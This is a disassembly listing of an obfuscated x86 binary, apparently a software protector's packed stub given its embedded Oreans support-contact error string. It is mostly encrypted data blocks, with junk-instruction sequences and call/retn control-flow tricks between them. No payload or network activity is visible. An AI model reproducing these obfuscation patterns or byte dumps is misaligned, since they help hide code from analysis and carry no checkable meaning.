0AC2870C1h dd 0C0FFBFF2h, 93112870h, 0E77835FDh, 0DBDBD660h, 0CF2870C0h dd 9DFC8936h, 6FDEA4E4h, 0A7366C28h, 0E44CD1C2h, 0AB5AAAF8h dd 28703BE5h, 4CAA53FFh, 370F6D80h, 7E4645ADh, 0F88C1D65h dd 4Bh, 0C5439FCAh, 7E17305Ch, 0BBF2FFE5h, 0F686A9C5h dd 0E2C8860h, 2782C16Ch, 3E305C2Fh, 4A12A433h, 9610D85Ah dd 0C24050FCh, 0FA6C9776h, 74D037B4h, 3E4498E2h, 0E1900EF2h dd 2872F9A1h, 18E494BBh, 0A980A8Ah, 0D5D26Bh dd 0B36C0000h, 8A537A0h, 476B0F62h, 62F55122h, 0D9C8DE1Ah dd 37B4FDCEh, 0CC5E44h, 53FB8DEFh, 6163C3BDh, 329A0489h dd 2D8961E3h, 0A5DC760Ah, 2872FDE5h, 8404752Fh, 8C2872FEh dd 0E9BC8016h, 524FD94Eh, 2FC7840Ch, 0CC882280h, 0AD2F672Bh dd 7CF08D1Fh, 0D52A51ACh, 13BD00E8h, 0E2A64AFCh, 0F9D334Dh dd 60F76237h, 454EDBD6h, 0E2C027DBh, 7727BE48h, 0DDDABE21h dd 16494938h, 0D9CB189Ah, 2DCF9711h, 59A5D765h, 9C38B54Bh dd 5B25CA7Eh, 484FD8Bh, 0C189A16h, 0C7720096h, 24264750h dd 0AFCFE07Ch, 0B700000Eh, 0FF59D4A4h, 208C215Bh, 57C16C0Eh dd 8430BD3Fh, 0F26A0B71h, 0C4B04535h, 16968F29h, 621A3D9Fh dd 0A9CB61D3h, 4A476304h, 28703A4Ah, 4AD2B0CAh, 420ED6A0h dd 0A576CEA8h, 0E476B25Bh, 4D44009Ah, 856D77CFh, 0DC398B38h dd 64FE8430h, 5CCD6D2Dh, 35FDA730h, 40F8h, 0A0B3CA00h dd 49ECA537h, 0C937B59Dh, 0D17D0BDBh, 849C383Ch, 4CA43E06h dd 3DB0C268h, 6DFF7993h, 0D4284CE1h, 7BCE62CEh, 76366BF8h dd 9E28739Eh, 805C1E32h, 4CDE6C02h, 0CC934A55h, 5BDAC82Fh dd 0D4A64AEFh, 215BFF59h, 0C55B24DDh, 0D87F305Ch, 3232FBA7h dd 3CB5B4Fh, 76FF8DEFh, 15A73023h, 49D0A549h, 0A3334E62h dd 576DB147h, 4DCCCCC5h, 5E44305Ch, 519D1492h, 4337B0D5h dd 0E90FD761h, 5DA41E97h, 84B0D463h, 17183h, 0A5B32700h dd 97368235h, 40D6293Ch, 25651CB6h, 0EF305BD4h, 7DFF11B5h dd 0F5D723A1h, 0C5AE0978h, 2CB2305Ch, 2CA78BEh, 0A6B3835Fh dd 1A3FA731h, 24349662h, 38DC78E6h, 1E600B45h, 31C77553h dd 9A0D24F9h, 0FF657500h, 1A9C3830h, 0B80AECDEh, 43C5DC78h dd 5CC54E4Eh, 4EDCC630h, 0D3CF21E2h, 0C964B930h, 0BD915F8Ch dd 65F75745h, 71B9CB1Bh, 3E3Ch, 0A6B38600h, 0F98FF107h dd 66EE784Bh, 485AAAD4h, 0C4C6E1E0h, 316C305Ch, 40891884h dd 2ABC52DEh, 2DF173A2h, 11ED8FA1h, 9735FD93h, 0A44ACA78h dd 0DB7764DAh, 47C5DC78h, 41D4EBh, 0B36E0000h, 788331A6h dd 5CC5AE09h, 7928B230h, 305CC539h, 0A13BC9DBh, 98641025h dd 789C2E0Ah, 0C4F3B3EEh, 871D305Ch, 3BA33DABh, 0BCBC5317h dd 3ACC6260h, 5CC54747h, 1FDBC930h, 0DAA44AADh, 78DB7764h dd 1B0A3EDCh, 9C2F0B99h, 0B930D414h, 0E19BBD19h, 43D409h dd 0B3EE0000h, 0F9933A4h, 5CC51292h, 48A00230h, 0AE09787Ah dd 84305CC5h, 0DC78A81Eh, 0E6FC403Ah, 5A029C0Ah, 7F32C4B6h dd 305CC53Fh, 0A567D3D1h, 66D4A64Ah, 0ED78DB77h, 2E7856BDh dd 0C7F83078h, 20h, 5A4B31Fh, 2FB589F3h, 29F577AFh, 7857059Bh dd 5CC5AE09h, 0BE2CB230h, 0A64ACA78h, 0DB7766D4h, 0FFFE8651h dd 0DC78F1FFh, 3BF64238h, 2BEFA838h, 9F78B730h, 44027F09h dd 6837B099h, 1624A03Ah, 0F15DC964h, 89C5195Bh, 0B9CB1B99h dd 1D12CF2Bh, 0BC50FC8Eh, 0DA7472BEh, 29AA2C43h, 0E34F97C5h dd 6F78A2E2h, 2BCC8828h, 0C89CC451h, 1B2F389h, 875F4529h dd 6F5C981Eh, 0FD9CA028h, 1E43E4DCh, 22028Ch, 78A00000h dd 0C4F3B3EEh, 871D305Ch, 0E54DCFC7h, 5CC4C8E4h, 0E88AA030h dd 0AFF045h, 0AE360000h, 8E3CF476h, 0F3B3EE78h, 0E7305CC4h dd 5CC4EAAAh, 14782A30h, 6C8FA28Eh, 813061FBh, 0B137B5C4h dd 5AFD59F3h, 0E219322h, 50C3966Eh, 86A935C7h, 0F5AC3AF6h dd 2FC8496Bh, 0A12373DBh, 6DFFA549h, 872E4EE1h, 0AA7A0215h dd 39D344D7h, 1C9C15AFh, 0F420874Ah, 768342AEh, 6227DBD7h dd 0CC2456FAh, 6CE88220h, 0A501ACCEh, 9864E839h, 608A2E0Ah dd 50E9B16h, 162E2425h, 0B5DA1h, 86F60500h, 0D3A94DEFh dd 1E60F622h, 6FED2597h, 0B5C76AC6h, 2B87A038h, 5DFF7606h dd 832DC044h, 37610C6Ch, 0B5DA5B25h, 35F8B8E9h, 0E2182870h dd 0E0A04ABCh, 0CCD62E4Ch, 40EAE63Eh, 0F31DEE36h, 0E20AC4Ah dd 52B64B6Bh, 0A83E9454h, 688E4E54h, 5CFEDA16h, 81FD8822h dd 0BD56946Ch, 99058860h, 82621A3Dh, 9E0D8D04h, 9D07305Ch dd 20E0230Fh, 5E843103h, 44h, 1A0B364h, 61FB89EBh, 0B5AE6130h dd 0F3535137h, 0DA7D35C7h, 5610CA2h, 69C1B359h, 0AAFBAF4Dh dd 3AC8DA2Ah, 2070DCEAh, 989B56A2h, 95047D0Fh, 9D2FCCAEh dd 0B9E97507h, 0AE42423Fh, 0D0D2208Ah, 5FEBF642h, 4CE2A64Ah dd 74D0D232h, 6F0694E6h, 5CC49118h, 3ED37B30h, 7A9E3Eh dd 116B8C28h, 0B45A029Ch, 0EC687ACAh, 0D7ED314Bh, 3CAB461Bh dd 6C0E22AAh, 0C0261290h, 0B14B18D1h, 7E089A37h, 0D4F949E4h dd 6F3D6F8Ch, 7B011783h, 0DFF0B0E1h, 8220286Fh, 6FDF8F0Fh dd 0BB238128h, 0DE57E597h, 0D4635D64h, 3F8384B0h, 27000001h dd 0BC32A5B3h, 5D54EE78h, 305CC55Dh, 7016E34Eh, 74184036h dd 0A803C22Eh, 0B8305CABh, 8B06902Ah, 305CAB0Bh, 71539F05h dd 5F02CA78h, 31A6B383h, 0B3E62483h, 0ABD33A4h, 0D4535DB8h dd 4793B930h, 37000000h, 8331A6B3h, 0C5AE0978h, 1E84305Ch dd 482AC08Ch, 366EEEF4h, 784E7CB4h, 98D066EEh, 0BC740A88h dd 0ECA44A0Eh, 0D6EC304Ah, 651CB640h, 305CC525h, 4F7DB5EFh dd 0C357FF77h, 8210688Fh, 0FAC820A2h, 3551h, 0A6B3F100h dd 9788331h, 305CC5AEh, 0C253E77Eh, 7A80A85Ah, 54E6E4BEh dd 0DB176588h, 57EE78E9h, 4B360E5Fh, 544DDFB7h, 305C9A54h dd 0B80AE6BCh, 64DAA44Ah, 535DDB77h, 93B930D4h, 3Bh, 33A4B337h dd 12920F99h, 2305CC5h, 787A48A0h, 5CC5AE09h, 8C1E8430h dd 0F14D2FC0h, 26005AF3h, 0B999AB15h, 0CA785371h, 66D4A64Ah dd 0C557FF77h, 91596BBBh, 365133h, 0B3F10000h, 3D9933A4h dd 3B89611Bh, 47C5DC78h, 2984FDEBh, 3F305CC5h, 0CA783BA9h dd 42D4A64Ah, 0C4B9F9A8h, 8393305Ch, 0EFA73D01h, 774F7DB5h dd 0B8C057FFh, 30925E64h, 0FFFEB851h, 0DC78F1FFh, 0E5FF47C5h dd 0C55E5E53h, 0ECB6305Ch, 59CE6904h, 85A935CFh, 0BBC557F7h dd 4AD08E7Fh, 0C6DC37B1h, 76009A34h, 704B7B3Bh, 9A0F9528h dd 28704B1Ah, 82CA8FAh, 0F8128672h, 4B87077Ah, 2D892870h dd 4DE3710Bh, 0F3788DA0h, 9D36CF59h, 3235AA79h, 0C65424CBh dd 0FD1B9B6Ah, 0AFF5286Fh, 0FCE8AE57h, 4AEC286Fh, 4AE0EC30h dd 9DA3D428h, 0BE42FEFCh, 0D97FE71Fh, 81455FA7h, 0B1331391h dd 0A47A4A79h, 10F48C1Dh, 0CE000000h, 5CC5439Fh, 65172530h dd 0C377C8h, 0B38F0000h, 0ECA537A0h, 37B5A571h, 810313BBh dd 27CB27BDh, 0CD63EB7Dh, 0D76147B3h, 0A6FFB13Eh, 9B577AC3h dd 0CD60183Fh, 50ACCC63h, 16688E56h, 0A17CB4CEh, 7E0217B6h dd 73358303h, 81178D28h, 1A2859F3h, 762FC7BBh, 44009A2Ch dd 0B763CF4Dh, 0FB55D8A0h, 0F8922454h, 86BC0989h, 51990B20h dd 34DB831Dh, 0EEAF844h, 0C557C053h, 0C5497028h, 529EFA8Ch dd 2FD05D54h, 604227DBh, 92EC0ED6h, 31DB83E3h, 2DCFEB47h dd 7C53A653h, 0ED612426h, 7D1FAh, 0FA7A9100h, 4735D97Bh dd 92EC02AEh, 0E361B1E3h, 2953E652h, 0A7131484h, 0E94BEA92h dd 1FB934B8h, 43ED80F8h, 4126CFA9h, 336C2C65h, 96A42870h dd 0D6A04A30h, 0CEA8420Eh, 0CB7F903Ch, 0FA885424h, 700A9864h dd 5CC58101h, 0D9119330h, 6DD9C985h, 566CB034h, 0BF507CC0h dd 0C05461BDh, 8282D919h, 710329DBh, 0D9C862FCh, 305CC4D9h dd 281693Bh, 8430DFC2h, 553Ch, 0EE788600h dd 5CC4F3B3h, 0AB871D30h, 5AEC7BF6h, 89F304C0h, 0A299A0A1h dd 0ABF937B5h, 91814D5Bh, 79B13313h, 73A32C88h, 512BCC28h dd 482CC18Dh, 9637D9F4h, 0A950FC64h, 1491814Dh, 0D95DC348h dd 0D925BBA4h, 0C11D5FFDh, 0C6C52DC3h, 8C1A15FEh, 3B78h dd 0A0B34A00h, 0FC89EB01h, 4333475Ah, 0AD3FCD93h, 0B5225DF4h dd 1C952F37h, 2873229Ch, 1EC22E74h, 0FE1CB884h, 0CE62EA7Ch dd 0DF7944ACh, 2EE3433Dh, 8F029403h, 2FCC03D4h, 952DC0E2h dd 68F4233Fh, 546EB6C4h, 0C156C19Ch, 729C9E37h, 0BF8AD579h dd 41DB7573h, 38047085h, 64B7F7AAh, 4B59305Ch, 3EEB1EEFh dd 0D9CB37B5h, 56FB633Dh, 3E2F6F22h, 0C3E12873h, 57E5D12Dh dd 0AA5B9725h, 0E8DDF2C5h, 0A8E89933h, 6867FCF2h, 3023FE3Ah dd 0B99C15A7h, 596F55CBh, 0B26FB4Bh, 0CCA9E998h, 396B6013h dd 0A2B511ABh, 0A3314BECh, 4C4C4543h, 0C46013CDh, 6E048DEh dd 6C91F38Bh, 55E7BD67h, 9C116389h, 0FCB45A02h, 0A692205Ah dd 139ED872h, 0EBD6DB8Ah, 2F05BA8Ah, 37000006h, 7FD95424h dd 0A00CA1DBh, 0D741EC8Eh, 4B03DBFh, 72EA8BF1h, 4430C5B5h dd 96160FA9h, 0E29ABD1Fh, 294BE153h, 0CAC7E384h, 287030CAh dd 4A52304Ah, 420ED6A0h, 2EACE4ACh, 0D7421598h, 6DFBB640h dd 0D937B14Ah, 4B52524Fh, 49382870h, 28704B49h, 0EFB5D9CBh dd 0F9455F03h, 0A8413BDDh, 34089259h, 0C7F4EB7Bh, 0AF000005h dd 0D741EC8Ch, 18B43943h, 4FE984F6h, 0FC58D557h, 1A922359h dd 0DC98BD1Dh, 2EAEE751h, 7A021587h, 0C1B359FBh, 225F4B2Ch dd 28703162h, 0B32A98B2h, 931101A0h, 9A331B3h, 3943D77Fh dd 7213DFE5h, 37B14AE8h, 1963F65Eh, 3E732DD1h, 28704B7Eh dd 0A67E0C96h, 0FF7A042Ah, 3408921Ah, 6335AABAh, 3000005h dd 4BE588E8h, 0FC58D5A7h, 238D205Ah, 50FC71F3h, 0A636BFBDh dd 78FC1181h, 0CA4A5BF5h, 1666892Bh, 5D1F3D9Fh, 0BEF3AFD0h dd 28702FFEh, 0B386E416h, 0BA537A0h, 5CC51696h, 4CA4FE30h dd 4B21275Ah, 356F37B1h, 554D09A3h, 4750FD7h, 28704C84h dd 0CACAB044h, 0F0DC10D8h, 6A951C5Eh, 6A340891h, 4FCE5DAh dd 51FA0000h, 0E228E27h, 0C157C16Ch, 8A9A36BFh, 26CB6508h dd 0E841DF56h, 9E176588h, 0CC61E332h, 0ADCF60h, 79F48694h dd 97178A14h, 7928702Fh, 0EE781D43h, 0F7AAD466h, 305CC4B7h dd 0CBEF4B59h, 19C55721h, 0CCC581F3h, 2EEF448h, 2E48E2EEh dd 0A851FBD6h, 0BDFDB44Eh, 57305CC4h, 1B31E54Dh, 0D278D459h dd 0AA55CA0h, 0E0305CC5h, 0E4D02C4Eh, 3D82456h, 0A9E5CFDh dd 59F6706h, 5CC50C8Ch, 529E0430h, 14AED466h, 5CC51D9Dh dd 0FCADF730h, 305CC4BCh, 0A5D77854h, 72EC8117h, 0EA3A44EAh dd 96A410D8h, 9EBC18E4h, 9D551DCh, 855890E4h, 366BFD6Ah dd 37B5AC57h, 800819C5h, 73AC9111h, 93218328h, 15F931B3h dd 9C29B78Fh, 6BD0BD47h, 32722FBCh, 0E228738Fh, 0E99832C0h dd 28738EA9h, 10F1396Bh, 28738EB4h, 0F105A4A8h, 31366464h dd 3F160403h, 0D6BA5372h, 0D7F43C8Fh, 8C1A3EEDh, 5209h dd 0A0B35900h, 0C53E7E33h, 752C305Ch, 305CC535h, 0DBC9C5DFh dd 62BB345h, 922CBA76h, 0C50989F8h, 990B305Ch, 0AB31B051h dd 29B37B5h, 0A043074Eh, 9A46B211h, 714D3408h, 172872DAh dd 2F9142EBh, 4F8C1ACBh, 0A0h, 0ACECA53Fh, 642872E5h, 78D0F23Eh dd 0EB47C5DCh, 0F3532DCFh, 0FA4A32C7h, 0E2423CDEh, 0BB3A44D6h dd 5CC10BCCh, 0D3AD4F30h, 1A64F622h, 73E477CAh, 9F19A8D9h dd 8B1937B5h, 0BAC255F1h, 3D38737Eh, 926110AAh, 202FC7C7h dd 0C96CE882h, 839602B3h, 16B770F9h, 310D3C30h, 3559Eh dd 7EFE1D00h, 0CBB145F7h, 16688E2Ah, 67E53D9Fh, 0ADCF62CEh dd 238FA800h, 55C76E0Eh, 9B35B83Ch, 0CF690474h, 0BDA2532Dh dd 2DF0B0E1h, 0EA202870h, 0B3EE78B4h, 305CC4F3h, 0FAB871Dh dd 0B1E392EAh, 0EE54D99Bh, 0C330A0B3h, 0B75054B8h, 0F5B927E5h dd 0E80F2760h, 0E9C3C7FAh, 47D56B2Eh, 0F6FDFCB5h, 0D66F37B4h dd 0CDA15D94h, 7EB470Bh, 4A0419Dh, 0F82872F2h, 9C64B554h dd 0DA8C1AB3h, 0C0h, 3BDC78E8h, 88C8541h, 5642AE34h, 6E6ABAC4h dd 536DB1CBh, 0DA16668Bh, 5CC1AA2Bh, 6C0E2C30h, 0BCC557C1h dd 0C6C41053h, 0AFD16627h, 29BF4D57h, 821500D5h, 0ED2AB9E8h dd 9A0837B4h, 7B3B7600h, 952872EDh, 99651739h, 30BD750Bh dd 0D365F27Dh, 0C717A8DEh, 0C9E042Fh, 26CFAD40h, 9C15678Ah dd 3C314545h, 6BF8EF67h, 0B000002h, 0B31D90E0h, 0E450DD9Fh dd 2B852852h, 58F479FBh, 0BE2EC7B5h, 80F41979h, 0D25243EDh dd 1E5EF123h, 65172597h, 86FBA7C8h, 28702D06h, 788EFC0Eh dd 0C4F3B3EEh, 871D305Ch, 92EA0FABh, 0C4BA5CF8h, 5CC4CDCDh dd 0CF5D4730h, 44E96D77h, 5BF5F830h, 942EC7B1h, 0ED6A04Ah dd 27CEA842h, 19CE2EC7h, 0BE83AC4Bh, 2BBCBF72h, 4759E091h dd 6B3937B5h, 47CEEA9Bh, 8EB22873h, 58D232EFh, 2F2C8C1Ah dd 0B6000000h, 0A537A0B3h, 0B59001ECh, 33139137h, 738F7652h dd 47E66A28h, 7F0117BFh, 16B010B3h, 2ECE8C1Ah, 0B0000000h dd 9B2B6B26h, 0BFE52873h, 449F5173h, 0C3305CC5h, 185CF150h dd 0C154F08Ah, 245E6BBBh, 2B9AF112h, 980EEA78h, 0B4E81EE9h dd 7AEF437h, 0EED7883h, 0DE3C0BBEh, 0C27CBF49h, 1FAD54A5h dd 0DE567BFh, 0B852C550h, 0F6FD232Dh, 0B759055Bh, 859737C5h dd 51992BFBh, 0C9F75A57h, 79E537B4h, 4A58A428h, 5CA002EEh dd 72CB09A5h, 0AA53FF28h, 1AD69769h, 35D78Ch, 9FF30000h dd 305CC543h, 0B9F77E17h, 912181ECh, 0FE698459h, 0ADEA356Ch dd 7D2837B4h, 0BBA24BB7h, 5FE97FCEh, 0B4CCCCC5h, 0C3BE2872h dd 2872B4C3h, 653F574Dh, 7882008Dh, 0E34339DCh, 0D95409E1h dd 0BA22BC4Eh, 7B0AE690h, 37B14B1Dh, 0ED871193h, 704AF4B4h dd 0EBABE628h, 2528704Ah, 0A58D177Fh, 7719B43h, 4E28C26Eh dd 0A73023F6h, 0D2839C15h, 432F2FC4h, 0AE38CEAEh, 0CB6A1426h dd 6DB1C369h, 700A9D98h, 0DCBA4601h, 0AA326C27h, 989F87Ah dd 0B189ABBh, 0AD6E0B99h, 632426E2h, 0ACFCD3h, 0A14A0000h dd 5EF25ED7h, 1127911Ch, 3A6AC66Fh, 769B35B8h, 38F16F06h dd 2EC7B558h, 9C119382h, 0D05D1F30h, 9A4D664h, 47473A64h dd 0C928702Bh, 0A0B3CDB3h, 17ECA537h, 9B37B14Ch, 0FE91F90Eh dd 77050F15h, 6F0923AFh, 0B6C06AC6h, 7C2CB76Eh, 89A35773h dd 641624E0h, 494938D2h, 0CBF9547Ch, 208C11D9h, 3894680Ah dd 800E6DE8h, 0D302C50Bh, 53E9DEDEh, 0DE6C36F9h, 783F448h dd 2D4FE16Dh, 0DEDED3D1h, 36F953E9h, 0B158846Ch, 1A9BE577h dd 2E29CBEh, 11C5E984h, 8691FCC8h, 0C15AAh, 78AD0000h dd 8D5B88EDh, 27139601h, 0A14A3FEDh, 0A9430FD7h, 0B45B77CFh dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h dd 0D36753B3h db 0A9h, 55h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+0], edi push 256Eh mov [esp+0], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] pop esp mov [esp+0], ebx push ebx mov ebx, 7EC7B53h mov edx, ebx mov ebx, [esp+0] add esp, 4 push 572Dh mov [esp+0], esp add dword ptr [esp+0], 4 pop ebx push esi mov esi, edx push ecx mov ecx, 8 add ecx, ebx mov [ecx], esi pop ecx pop esi mov ebx, [esp+0] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp mov edx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- db 0A6h dd 0E8B0024Eh, 7CDE908Dh db 38h, 95h, 73h ; --------------------------------------------------------------------------- loc_5BD923: ; CODE XREF: sub_5BB696:loc_5BB836j mov eax, 7EC9AD1h add eax, ebp jmp eax sub_5BB696 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 5B4E4EEFh, 672F882Eh, 6473DEDDh, 22A4B505h, 5BB7B79Fh dd 55F8A412h, 79111F30h, 583FDF16h, 37B02992h, 6EB6BF10h dd 5542F39Ah, 62395097h, 1E825CC2h, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1100E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 60B40EC3h, 2D419529h, 0BD8907E9h dd 7E93061h, 7D858B61h, 6A07E934h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1A10C352h dd 41811D8h, 4439F91Dh, 850F0424h, 57h, 0E998D01h, 0BD8307E9h dd 7E921CDh, 44840F00h, 0E9000000h, 14h, 0C619ED44h, 18572F3Dh dd 0D9260F9Ah, 477538DCh, 5A6FFBE4h, 11E9h, 0CC053800h dd 0F2183FCEh, 4A50710Dh, 71531DF6h, 858DA0BEh, 7E93ABCh dd 718589FCh, 0FF07E929h, 9D9D89E0h, 8B07E901h, 0E916B585h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 8DC89CBAh, 0BE960F0h, 5C000000h, 3C0F106Dh dd 51D5F790h, 81601134h, 0F2B36DC9h, 39616161h, 0F042444h dd 3885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 917A8E49h, 0C73A9BF4h, 0EC9FA785h dd 107h, 51952900h, 3107E91Fh, 0E92EED95h, 6A6007h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 204261C3h, 165E48E0h, 31C82EE0h, 0E908B1BDh, 39958907h dd 0E907E931h, 34h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0B8C35747h, 3FB2DABCh, 0F28A5F9Ch, 6E997h dd 24760000h, 0F66F47F6h, 0 ; --------------------------------------------------------------------------- mov eax, 1 loc_5BDF11: ; CODE XREF: sdfs____:005BDF19j xchg eax, [ebp+7ECA14Eh] or eax, eax jnz short loc_5BDF11 push dword ptr [ebp+7E92659h] pop dword ptr [ebp+7EC9F9Fh] push 20h push 0FFFFFFFFh call dword ptr [ebp+7E90C15h] cmp dword ptr [ebp+7E915E1h], 0 jz short loc_5BDF42 push 0 call dword ptr [ebp+7E90C31h] loc_5BDF42: ; CODE XREF: sdfs____:005BDF38j cmp dword ptr [ebp+7E926A9h], 1 jz short loc_5BDF58 push 80h push 0FFFFFFFFh call dword ptr [ebp+7E90C15h] loc_5BDF58: ; CODE XREF: sdfs____:005BDF49j push 0 push eax call sub_5BDF63 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BDF63 proc near ; CODE XREF: sdfs____:005BDF5Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BDF63 endp ; --------------------------------------------------------------------------- jmp fword ptr [ebx] ; --------------------------------------------------------------------------- jmp short loc_5BDF79 ; --------------------------------------------------------------------------- db 60h db 2Bh ; --------------------------------------------------------------------------- loc_5BDF79: ; CODE XREF: sdfs____:005BDF75j lea edx, [ecx-7FF816DAh] rcl dword ptr [ebx], 1 popa sub eax, eax add [ebp+7E917BDh], esi mov [ebp+7E91695h], edx mov edx, [esp+28h] push 0 push ebp call sub_5BDF9F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BDF9F proc near ; CODE XREF: sdfs____:005BDF97p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5BDF9F endp ; --------------------------------------------------------------------------- db 67h dd 0D18293B1h, 20FB675h, 9D8589A7h, 6A07E90Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 5DEC351h, 0A59F0E12h, 5E9h, 20208200h, 3CBE471Eh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0D1C0C357h, 0F1B1B52Bh, 0E0DF749Eh, 7403F5FCh dd 66F82424h, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0AB5911FBh, 89B7E403h, 0E91CA995h dd 24440307h, 5E924h, 0B7460000h, 89902052h, 0E92A4D85h dd 8F0F9007h, 14h, 7E860h, 828D0000h, 0EFBF5DFBh, 0A6B8580Fh dd 616EC2C1h, 118E0F50h, 0E9000000h, 0Ch, 4E005C4Bh, 2F018F74h dd 598889ABh, 25958990h, 8B07E900h, 0F5FC7840h, 9FA7BD83h dd 0F0007ECh, 15885h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0EA7E2040h, 0F8B48736h dd 0E9525090h, 0Fh, 841483DCh, 8780C20Bh, 14A9D3EEh, 0FFE583Ah dd 50525031h, 5A310F52h, 0F310F58h, 87h, 5A585A00h, 13E95058h dd 0B0000000h, 20D48C44h, 0F96A1082h, 533AB19Ch, 11992CA4h dd 6A90106Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0CD85C352h, 0F8F96084h, 8BFCF561h dd 0F2C2444h, 68Ch, 81BD3100h, 5007E931h, 0F08B6660h, 28C0Fh dd 0D38B0000h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 8DC35343h, 2D1545DBh, 604B3B96h, 9E9h dd 76DB0800h, 0EF37607Eh, 8D09E6D7h, 7E91ECDh, 0A850F61h dd 0E9000000h, 5, 26100E9Dh, 3A858DB4h, 6A07EC72h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 2DD0C357h, 0FE9FCh, 47A30000h, 99066372h, 98EB699Bh dd 0ABE1AA00h, 6AD0FFABh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0B5B2C356h, 1C400B2h dd 0E9262985h, 24440307h, 8D8B6028h, 7E93185h, 3459531h dd 0F6107E9h, 0E82h, 95296000h, 7E92295h, 2F798589h, 8B6107E9h dd 6A1840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 34B0FEC3h, 0FD36A026h, 3519BD29h, 0E94007E9h dd 8, 0B75A47Ah, 699BB7Dh, 9FA38589h, 58F807ECh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 26C35343h, 35F915C9h dd 78708B65h, 0EA5B589h, 0C68307E9h, 68A0F1Ch, 31000000h dd 0E91F99BDh, 9D299607h, 7E91905h, 1800Fh, 81F50000h dd 24247Ch, 0F100000h, 14D87h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0FCE5DA61h dd 3860Fh, 0F8600000h, 8E961h, 95430000h, 0E2212C4Ch, 60901662h dd 0BE85250h, 0DA000000h, 0D590CAF4h, 0F3A47804h, 0F5B76E8h dd 840F31h, 5A000000h, 612AB658h, 0DE950h, 688C0000h, 60D8E3F6h dd 0AFFB2481h, 905F22B2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0AC35747h, 0D153FDA9h, 0C8A0FD4h, 0F000000h dd 68Ah, 0EDB50900h, 8B07E90Fh, 0F282444h, 0B85h, 6E900h dd 0F6230000h, 8615B4C4h, 50525090h, 9E952h, 94060000h dd 39D8320Bh, 0F7A00C8h, 5A616031h, 0E9310F58h, 0Dh, 0A72B5B7Ah dd 39391B67h, 0F3F9ABBFh, 50585AAFh, 66EC8A60h, 61A33AB9h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 164FE21Ch, 1959589h, 858D07E9h, 7EC723Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9CC35747h dd 77E13E01h, 0FD2949Fh, 0A87h, 61606000h, 251D8D8Bh, 0FF6107E9h dd 6A96F9D0h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0B7F3C352h, 0A59D8960h, 0B707E909h dd 740361A9h, 6E92424h, 73000000h, 0E897C061h, 1BD8D2Ah dd 6A07E925h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 38FEC350h, 1ADF5B7h, 0E9158DBDh dd 247C8107h, 24h, 84870F10h, 60000000h, 2985B589h, 0ACB707E9h dd 7E95061h, 3D000000h, 823FF813h, 48918C5h, 0FE924h, 54FA0000h dd 0D8513194h, 7FDE250Eh, 5DEEC981h, 24448B74h, 95B52928h dd 0F807E915h, 12860F50h, 50000000h, 0F525052h, 0F585A31h dd 0F525031h, 5A585A31h, 24048958h, 10E9h, 0D976FC00h dd 0D200304Ch, 84DDA731h, 776EC1F2h, 3A858D02h, 107EC72h dd 0E9204995h, 0E9D0FF07h, 7, 8435BEACh, 316E98Ah, 60242444h dd 13E9h, 77886700h, 0FE40D4ECh, 0C940B5D8h, 0E4D3BBBFh dd 0B33D8287h, 1259B58Bh, 0AB6107E9h, 6830Fh, 0BD890000h dd 7E90969h, 0FA81h, 820F0001h, 769h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 71C35242h, 0A830Fh, 60600000h dd 0D8D3361h, 6107E920h, 0BE9h, 